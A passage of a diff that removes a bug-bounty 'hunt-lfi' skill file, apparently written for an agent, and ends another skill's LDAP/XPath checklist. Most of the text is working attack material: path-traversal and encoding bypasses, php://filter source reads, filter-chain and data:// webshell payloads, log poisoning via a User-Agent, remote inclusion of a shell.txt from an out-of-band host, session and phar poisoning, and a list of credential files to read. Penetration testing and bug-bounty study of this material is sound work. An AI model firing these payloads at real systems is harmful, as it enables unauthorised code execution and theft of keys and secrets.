a direct lookup or by the auth-bypass payload that uses it.
|
|
296
|
-
- [ ] **XPath:** quotes/brackets remained balanced (no 500), and the bypass logged
|
|
297
|
-
in to a real account context — not just a different error page.
|
|
298
|
-
- [ ] **OOB where possible:** a Collaborator DNS/LDAP interaction from a referral
|
|
299
|
-
payload is decisive for blind cases — prefer it over length-only inference.
|
|
300
|
-
- [ ] **AD claim discipline:** if you say "AD", you enumerated AD-specific attrs
|
|
301
|
-
(`sAMAccountName`/`memberOf`); never claim AD hash exfil.
|
|
302
|
-
|
|
303
|
-
**Severity:**
|
|
304
|
-
- Auth bypass landing as admin/privileged directory entry: **Critical**
|
|
305
|
-
- `userPassword` hash exfil (non-AD) or `description`-field credential read: **High**
|
|
306
|
-
- AD user/group enumeration only: **Medium-High**
|
|
307
|
-
- Blind boolean oracle confirmed but no useful attribute reachable: **Medium**
|
|
@@ -1,266 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-lfi
|
|
3
|
-
description: "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target."
|
|
4
|
-
sources: hackerone_public, synacktiv_research, portswigger_research
|
|
5
|
-
report_count: 24
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-LFI — Local / Remote File Inclusion & Path Traversal
|
|
9
|
-
|
|
10
|
-
## Crown Jewel Targets
|
|
11
|
-
|
|
12
|
-
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.
|
|
13
|
-
|
|
14
|
-
**Highest-value chains (in rough order of reliability in 2026):**
|
|
15
|
-
- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
|
|
16
|
-
- **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first.
|
|
17
|
-
- **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path.
|
|
18
|
-
- **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present.
|
|
19
|
-
- **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
|
|
20
|
-
- **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers.
|
|
21
|
-
|
|
22
|
-
---
|
|
23
|
-
|
|
24
|
-
## OOB / Blind-LFI Confirmation Gate (Read First)
|
|
25
|
-
|
|
26
|
-
LFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone.
|
|
27
|
-
|
|
28
|
-
### What is NOT confirmation
|
|
29
|
-
- A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem.
|
|
30
|
-
- Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path.
|
|
31
|
-
- A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
|
|
32
|
-
|
|
33
|
-
### What IS confirmation
|
|
34
|
-
- **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output).
|
|
35
|
-
- **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
|
|
36
|
-
- **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_<rand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
|
|
37
|
-
|
|
38
|
-
### Default workflow
|
|
39
|
-
1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.
|
|
40
|
-
2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.<collab>`, `lfi-tpl.<collab>`) so callbacks identify which parameter fired.
|
|
41
|
-
3. Send, wait 30–120s, poll OOB.
|
|
42
|
-
4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.
|
|
43
|
-
|
|
44
|
-
---
|
|
45
|
-
|
|
46
|
-
## Attack Surface Signals
|
|
47
|
-
|
|
48
|
-
### URL / Body Parameters
|
|
49
|
-
```
|
|
50
|
-
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
|
|
51
|
-
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
|
|
52
|
-
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
|
|
53
|
-
JSON bodies: {"filename":...} {"template":...} {"path":...}
|
|
54
|
-
```
|
|
55
|
-
|
|
56
|
-
### Technology Stack Signals
|
|
57
|
-
| Signal | Vector |
|
|
58
|
-
|--------|--------|
|
|
59
|
-
| PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// |
|
|
60
|
-
| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |
|
|
61
|
-
| Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE |
|
|
62
|
-
| PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE |
|
|
63
|
-
| Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, `application.properties` |
|
|
64
|
-
| Python Flask/Django | `/proc/self/environ`, `settings.py`, `SECRET_KEY` |
|
|
65
|
-
| Node.js file-serve / `res.sendFile`, `express.static` | path-traversal read, `require()` traversal |
|
|
66
|
-
| Windows IIS / .NET | `..\..\web.config`, `C:\Windows\win.ini`, machineKey |
|
|
67
|
-
|
|
68
|
-
---
|
|
69
|
-
|
|
70
|
-
## Step-by-Step Methodology
|
|
71
|
-
|
|
72
|
-
### Phase 1 — Identify Candidates
|
|
73
|
-
```bash
|
|
74
|
-
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
|
|
75
|
-
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
|
|
76
|
-
recon/$TARGET/urls.txt
|
|
77
|
-
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
|
|
78
|
-
```
|
|
79
|
-
|
|
80
|
-
### Phase 2 — Path Traversal (read)
|
|
81
|
-
```bash
|
|
82
|
-
?file=../../../etc/passwd
|
|
83
|
-
?file=....//....//....//etc/passwd # ../ stripping once → ....// survives
|
|
84
|
-
?file=..%2f..%2f..%2fetc%2fpasswd # single URL-encode
|
|
85
|
-
?file=..%252f..%252f..%252fetc%252fpasswd # double encode (decoded twice server-side)
|
|
86
|
-
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd # encode dots too
|
|
87
|
-
?file=/etc/passwd%00.png # null byte — PHP < 5.3.4 only
|
|
88
|
-
?file=....\/....\/etc\/passwd # mixed slash
|
|
89
|
-
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
|
|
90
|
-
# UTF-8 overlong: %c0%ae%c0%ae%2f (legacy servers)
|
|
91
|
-
```
|
|
92
|
-
```bash
|
|
93
|
-
# Windows
|
|
94
|
-
?file=..\..\..\windows\win.ini
|
|
95
|
-
?file=..%5c..%5c..%5cwindows%5cwin.ini
|
|
96
|
-
?file=C:\inetpub\wwwroot\web.config
|
|
97
|
-
```
|
|
98
|
-
|
|
99
|
-
### Phase 3 — PHP Wrappers (source disclosure)
|
|
100
|
-
```bash
|
|
101
|
-
?file=php://filter/convert.base64-encode/resource=index.php # decode base64 → source
|
|
102
|
-
?file=php://filter/read=string.rot13/resource=config.php
|
|
103
|
-
?file=php://filter/convert.base64-encode/resource=../app/Config.php
|
|
104
|
-
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
|
|
105
|
-
```
|
|
106
|
-
|
|
107
|
-
### Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)
|
|
108
|
-
The modern flagship technique (Synacktiv, 2022). If you have a `php://`-capable LFI that *reads* a file, you can also *execute* attacker-chosen PHP. `iconv` charset conversions, chained inside `php://filter`, emit controlled bytes that prepend to the resource until a full `<?php ... ?>` payload is forged — then `include()` runs it. **No upload endpoint, no log access, no writable path required.**
|
|
109
|
-
|
|
110
|
-
```bash
|
|
111
|
-
# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
|
|
112
|
-
# git clone https://github.com/synacktiv/php_filter_chain_generator
|
|
113
|
-
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
|
|
114
|
-
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
|
|
115
|
-
# Drop it into the sink:
|
|
116
|
-
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id
|
|
117
|
-
```
|
|
118
|
-
Notes / gotchas:
|
|
119
|
-
- Requires the include sink to accept the `php://filter` scheme (most LFI sinks calling `include`/`require`/`file_get_contents` on the param do).
|
|
120
|
-
- Payloads get **long** (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (`<?=`shorthand`?>`).
|
|
121
|
-
- For blind targets, set the chain payload to a Collaborator callback (`<?php file_get_contents("http://x.<collab>/".`id`);?>`) to confirm execution OOB.
|
|
122
|
-
- This works even when log poisoning fails (unreadable logs, `open_basedir`). Try it whenever you have a php:// filter read.
|
|
123
|
-
|
|
124
|
-
### Phase 5 — Code-Execution Wrappers (config prerequisites)
|
|
125
|
-
```bash
|
|
126
|
-
# data:// — executes inline; REQUIRES allow_url_include=On
|
|
127
|
-
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id # <?php system($_GET['c']);?>
|
|
128
|
-
|
|
129
|
-
# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
|
|
130
|
-
# POST ?file=php://input body: <?php system($_GET['c']); ?>
|
|
131
|
-
# (Same prerequisite as data://. Do NOT assume this works on default PHP config.)
|
|
132
|
-
|
|
133
|
-
# expect:// — direct command exec; requires the (rare) expect extension loaded
|
|
134
|
-
?file=expect://id
|
|
135
|
-
```
|
|
136
|
-
|
|
137
|
-
### Phase 6 — Remote File Inclusion (RFI)
|
|
138
|
-
RFI = the include target is a **remote URL**. Prerequisite: `allow_url_include=On` (and `allow_url_fopen=On`). Off by default on modern PHP, but still seen on legacy/misconfigured hosts.
|
|
139
|
-
```bash
|
|
140
|
-
# Host a payload you control, then:
|
|
141
|
-
?file=http://OOB-HOST/shell.txt # shell.txt contains <?php system($_GET['c']); ?>
|
|
142
|
-
?file=https://OOB-HOST/shell.txt?
|
|
143
|
-
?file=ftp://OOB-HOST/shell.txt
|
|
144
|
-
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
|
|
145
|
-
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
|
|
146
|
-
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
|
|
147
|
-
```
|
|
148
|
-
|
|
149
|
-
### Phase 7 — Log Poisoning → RCE
|
|
150
|
-
```bash
|
|
151
|
-
# Step 1: inject PHP into a log the include can read
|
|
152
|
-
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
|
|
153
|
-
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
|
|
154
|
-
?file=../../../var/log/apache2/access.log&c=id
|
|
155
|
-
?file=../../../var/log/nginx/access.log&c=id
|
|
156
|
-
?file=/proc/self/fd/0&c=id # stdin fd (varies)
|
|
157
|
-
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
|
|
158
|
-
# /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
|
|
159
|
-
```
|
|
160
|
-
|
|
161
|
-
### Phase 8 — Session / Upload Poisoning
|
|
162
|
-
```bash
|
|
163
|
-
# PHP session: set payload in a stored field (username/profile), then include the session file
|
|
164
|
-
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
|
|
165
|
-
?file=/tmp/sess_<PHPSESSID>&c=id
|
|
166
|
-
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
|
|
167
|
-
?file=phar:///var/www/uploads/evil.jpg # JPEG magic bytes prepended to a PHAR
|
|
168
|
-
# zip:// — archive containing the target, or a symlink to /etc/passwd
|
|
169
|
-
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
|
|
170
|
-
```
|
|
171
|
-
|
|
172
|
-
### Phase 8b — Archive-extraction & image-processing sinks (no `?file=` needed)
|
|
173
|
-
Two LFI/traversal surfaces that are not query-parameter file reads:
|
|
174
|
-
- **Zip Slip / tar-symlink escape** — a server that untars/unzips a user-supplied archive follows `../../` entry names or embedded symlinks (tar preserves them) to read/write outside the extraction dir. Craft an archive entry named `../../../etc/cron.d/x`, or a symlink pointing at `/etc/passwd`; confirm by writing a unique canary outside the upload dir. Disclosed: reports/1439593, reports/733072, reports/822262.
|
|
175
|
-
- **ImageMagick coder read-sink** — image convert/thumbnail/avatar features read local files via MSL/MVG coders even with no file parameter: filename/label `label:@/etc/passwd`, or an MSL payload (`<image xlink:href="msl:/etc/passwd">`) plus `msl:`/`ephemeral:` pseudo-protocols (ImageTragick CVE-2016-3714 family). Disclosed: reports/1858574. Pairs with `hunt-file-upload`.
|
|
176
|
-
|
|
177
|
-
### Phase 9 — Automation (then manual-confirm everything)
|
|
178
|
-
```bash
|
|
179
|
-
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
|
|
180
|
-
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
|
|
181
|
-
"https://$TARGET/page.php?file=FUZZ"
|
|
182
|
-
dotdotpwn -m http -h $TARGET -o unix
|
|
183
|
-
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
|
|
184
|
-
```
|
|
185
|
-
|
|
186
|
-
---
|
|
187
|
-
|
|
188
|
-
## Named CVEs / Public Techniques (grounding)
|
|
189
|
-
|
|
190
|
-
Verified, correctly-attributed references for the patterns above:
|
|
191
|
-
- **PHP filter-chain to RCE** — Synacktiv research (2022); `php_filter_chain_generator`. Not a CVE; an abuse of documented `iconv` behaviour. The reason a bare file-read upgrades to Critical.
|
|
192
|
-
- **CVE-2021-41773** — Apache HTTP Server 2.4.49 path traversal (`%2e` in normalized path) → file read, and RCE when `mod_cgi` is enabled.
|
|
193
|
-
- **CVE-2021-42013** — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded `%%32%65`) → traversal/RCE.
|
|
194
|
-
- **CVE-2024-4577** — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.
|
|
195
|
-
|
|
196
|
-
> Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do **not** paraphrase a report ID from memory. A wrong ID is worse than none.
|
|
197
|
-
|
|
198
|
-
---
|
|
199
|
-
|
|
200
|
-
## Sensitive Files to Read
|
|
201
|
-
```
|
|
202
|
-
# Linux
|
|
203
|
-
/etc/passwd /etc/hosts /etc/shadow (rarely readable)
|
|
204
|
-
/proc/self/environ /proc/self/cmdline /proc/self/status
|
|
205
|
-
/var/www/html/.env /var/www/html/config.php /var/www/html/wp-config.php
|
|
206
|
-
/home/*/.ssh/id_rsa /root/.ssh/id_rsa /root/.bash_history
|
|
207
|
-
/var/www/html/app/config/parameters.yml # Symfony
|
|
208
|
-
.git/config .git/HEAD composer.json package.json
|
|
209
|
-
# App / cloud secrets
|
|
210
|
-
/proc/self/environ ~/.aws/credentials ~/.docker/config.json /run/secrets/*
|
|
211
|
-
# Windows / .NET
|
|
212
|
-
C:\Windows\win.ini C:\inetpub\wwwroot\web.config ..\..\web.config
|
|
213
|
-
C:\Windows\System32\inetsrv\config\applicationHost.config
|
|
214
|
-
```
|
|
215
|
-
|
|
216
|
-
---
|
|
217
|
-
|
|
218
|
-
## Bypass Table
|
|
219
|
-
|
|
220
|
-
| Filter | Bypass |
|
|
221
|
-
|--------|--------|
|
|
222
|
-
| Strips `../` once | `....//` or `..../\` (re-forms `../` after strip) |
|
|
223
|
-
| URL-decodes once | `%252f` (double-encode `/`), `%252e` for dots |
|
|
224
|
-
| Decodes once, blocks `..` | Encode dots: `%2e%2e%2f` / overlong `%c0%ae` (legacy) |
|
|
225
|
-
| Appends `.php` to input | `?` or `#` truncation; null byte `%00` (PHP < 5.3.4) |
|
|
226
|
-
| Blocks `php://` scheme | try `PHP://`, `pHp://`, or `data://` / `expect://` |
|
|
227
|
-
| Prepends fixed base dir | enough `../` to escape; or absolute path if no base prepend |
|
|
228
|
-
| Blocks `/etc/passwd` literal | path-truncation, `/etc/./passwd`, `/etc//passwd` |
|
|
229
|
-
| WAF on long filter-chains | move chain to POST body / minimize payload |
|
|
230
|
-
| Windows | `..\..\..\windows\win.ini`, `..%5c..%5c` |
|
|
231
|
-
|
|
232
|
-
---
|
|
233
|
-
|
|
234
|
-
## Chain Table
|
|
235
|
-
|
|
236
|
-
| LFI primitive | Chain to | Impact |
|
|
237
|
-
|---------------|----------|--------|
|
|
238
|
-
| `php://filter` read | **filter-chain RCE (Phase 4)** | RCE with no upload — **Critical** |
|
|
239
|
-
| File read | `.env` / `config.php` / `wp-config.php` | DB creds, API keys → backend takeover |
|
|
240
|
-
| File read | `/proc/self/environ`, `~/.aws/credentials` | env secrets, cloud keys → SSRF/IAM pivot |
|
|
241
|
-
| Remote URL include | RFI (`allow_url_include`) | direct RCE — **Critical** |
|
|
242
|
-
| File read + upload | phar:// / log / session poison | RCE — **Critical** |
|
|
243
|
-
| Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |
|
|
244
|
-
|
|
245
|
-
---
|
|
246
|
-
|
|
247
|
-
## Validation Discipline
|
|
248
|
-
|
|
249
|
-
**Direct-read proof (not a false positive):**
|
|
250
|
-
- Show real *contents*, not your echoed path. `/etc/passwd` must contain a literal `root:x:0:0:root:/root:` line. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page.
|
|
251
|
-
- For source reads, the **base64 must decode to valid PHP**. A garbage/empty decode = no real read.
|
|
252
|
-
- Rule out reflection: confirm the marker text is not simply your input bounced back. Request `/etc/passwd` and `/etc/passwd_<rand>` (non-existent) — only the real file returns content.
|
|
253
|
-
|
|
254
|
-
**Blind / OOB proof:**
|
|
255
|
-
- No reflection? Use a php://filter-chain or RFI payload that calls back to a **unique Burp Collaborator subdomain**. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink.
|
|
256
|
-
- Timing/length blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract.
|
|
257
|
-
|
|
258
|
-
**Partial / truncated reads:**
|
|
259
|
-
- Templating may HTML-escape or cut the file. Use `php://filter/convert.base64-encode` so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.
|
|
260
|
-
|
|
261
|
-
**RCE proof:** show command output you control — `id` / `whoami` / `hostname` reflected, or an OOB callback from inside the executed payload (`curl http://<collab>/`). "The payload was accepted" is not RCE.
|
|
262
|
-
|
|
263
|
-
**Severity:**
|
|
264
|
-
- Non-sensitive file read: **Medium**
|
|
265
|
-
- File read exposing DB creds / API keys / private keys / cloud creds: **High**
|
|
266
|
-
- RCE via filter-chain / RFI / log / session / phar / CVE: **Critical**
|